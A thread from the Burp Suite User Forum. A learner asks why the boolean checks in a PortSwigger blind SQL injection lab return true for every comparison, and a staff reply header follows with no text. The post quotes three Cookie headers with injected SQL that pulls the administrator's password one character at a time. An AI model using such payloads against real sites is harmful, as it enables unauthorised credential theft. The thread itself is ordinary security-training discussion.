The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Sql Injection lab error

Dipesh | Last updated: Mar 23, 2021 06:04PM UTC

i am trying to solve https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses. but i stuck at a point when i send a request to determine the first character of password and i am amazed to find out it is between '5' and '6'. can any one help me with that Cookie: TrackingId=stL9SkE4hH49Ppxj' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') between '5' and '6 ; session=bqtB4sQ3dtWeaundasJL8hMFB4hVy8My Cookie: TrackingId=stL9SkE4hH49Ppxj' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') > '5; session=bqtB4sQ3dtWeaundasJL8hMFB4hVy8My Cookie: TrackingId=stL9SkE4hH49Ppxj' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') < '6 ; session=bqtB4sQ3dtWeaundasJL8hMFB4hVy8My all three query respond as a true boolean

Hannah, PortSwigger Agent | Last updated: Mar 24, 2021 12:16PM UTC